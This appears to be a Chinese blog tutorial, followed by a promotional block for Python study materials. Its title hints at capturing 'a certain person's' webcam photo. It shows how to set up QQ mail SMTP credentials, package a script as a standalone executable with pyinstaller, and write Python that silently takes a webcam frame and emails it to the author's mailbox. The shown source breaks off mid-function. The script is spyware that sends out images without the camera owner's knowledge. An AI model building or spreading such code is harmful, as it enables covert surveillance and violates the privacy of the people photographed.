引人遐想,用 Python 获取你想要的 “某个人” 摄像头照片_用python编程把电脑里同一个人照片找出来

34 阅读4分钟

1.安装库

需要安装python3.5以上版本,在官网下载即可。然后安装库opencv-python,安装方式为打开终端输入命令行。

2.更改收件人和发件人为自己邮箱,更改授权码

获取授权码的方法:

  1. 点击设置
  2. 点击账户
  3. 开启pop3/smtp服务
  4. 验证密保
  5. 获取到16位授权码

第一步:
在这里插入图片描述
第二步:
在这里插入图片描述
第三步:
在这里插入图片描述
第四、五步:
在这里插入图片描述

3.编译成可执行文件

打包方法:

  1. 先安装pyinstaller,在终端中输入pip install pyinstaller
  2. 找路径,用cd法找路径比较麻烦,可以直接在路径框里面输入cmd进入终端即可,进入了就是目标路径。

在这里插入图片描述

打包,输入命令行

pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件

在这里插入图片描述

dist文件夹里面即可找到可执行文件。
在这里插入图片描述

4.源码与注释

import os                    # 删除图片文件
import cv2                   # 调用摄像头拍摄照片
from smtplib import SMTP_SSL          # SSL加密的 传输协议
from email.mime.text import MIMEText      # 构建邮件文本
from email.mime.multipart import MIMEMultipart # 构建邮件体
from email.header import Header         # 发送内容
 
 
# 调用摄像头拍摄照片
def get\_photo():
  cap = cv2.VideoCapture(0)      # 开启摄像头
  f, frame = cap.read()        # 将摄像头中的一帧图片数据保存
  cv2.imwrite('image.jpg', frame)   # 将图片保存为本地文件
  cap.release()            # 关闭摄像头
 
 
# 把图片文件发送到我的邮箱
def send\_message():
  # 选择QQ邮箱发送照片
  host_server = 'smtp.qq.com'     # QQ邮箱smtp服务器
  pwd = '\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*'      # 授权码
  from_qq_mail = 'QQ@qq.com'     # 发件人
  to_qq_mail = 'QQ@qq.com'      # 收件人
  msg = MIMEMultipart()        # 创建一封带附件的邮件
 
  msg['Subject'] = Header('摄像头照片', 'UTF-8')  # 消息主题
  msg['From'] = from_qq_mail            # 发件人
  msg['To'] = Header("YH", 'UTF-8')        # 收件人
  msg.attach(MIMEText("照片", 'html', 'UTF-8'))  # 添加邮件文本信息
文末有福利领取哦~
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

👉**一、Python所有方向的学习路线**

Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。![img](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/dcb62e86aaba417487bc4782f77d7782~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3NTc5MjMwMTY3MDI=:q75.awebp?rk3s=f64ab15b&x-expires=1771409266&x-signature=oVIcmencznj7PpiBEq7JvpOmujY%3D)

👉**二、Python必备开发工具**

![img](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/9ef0d41f6d3e4397a2795e7c7cef30be~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3NTc5MjMwMTY3MDI=:q75.awebp?rk3s=f64ab15b&x-expires=1771409266&x-signature=XHm1FrLGTlcKIxCV32nlKDhhPR4%3D)  
👉**三、Python视频合集**

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。  
![img](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/6230b180ccf241a3a864f7f1517310ab~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3NTc5MjMwMTY3MDI=:q75.awebp?rk3s=f64ab15b&x-expires=1771409266&x-signature=YTx18uLyju5rIpjmCVeomTO3br0%3D)

👉 **四、实战案例**

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。**(文末领读者福利)**  
![img](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/040a545309e04a0e8f0790c1e952dda6~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3NTc5MjMwMTY3MDI=:q75.awebp?rk3s=f64ab15b&x-expires=1771409266&x-signature=VjoXwi0Qx2kDlP5zLEsFBv91qIE%3D)

👉**五、Python练习题**

检查学习结果。  
![img](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/39742038c70b4d9b9deda5e50f7211b4~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3NTc5MjMwMTY3MDI=:q75.awebp?rk3s=f64ab15b&x-expires=1771409266&x-signature=VZ53dPHJMyQ4krdpMuvzP9seyCo%3D)

👉**六、面试资料**

我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。  
![img](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/e0df1c108f3e451ab5eee1538e55d7c1~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3NTc5MjMwMTY3MDI=:q75.awebp?rk3s=f64ab15b&x-expires=1771409266&x-signature=kiFDbbKTjb5cpoy4e5GWhhlUhAg%3D)

![img](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/c563f372f47f4724916817721826dd9c~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg55So5oi3NTc5MjMwMTY3MDI=:q75.awebp?rk3s=f64ab15b&x-expires=1771409266&x-signature=ijSbo6S845KPB9Z0RDSPbYOtl6Y%3D)

👉因篇幅有限,仅展示部分资料,这份完整版的Python全套学习资料已经上传



**了解详情:https://docs.qq.com/doc/DSnl3ZGlhT1RDaVhV**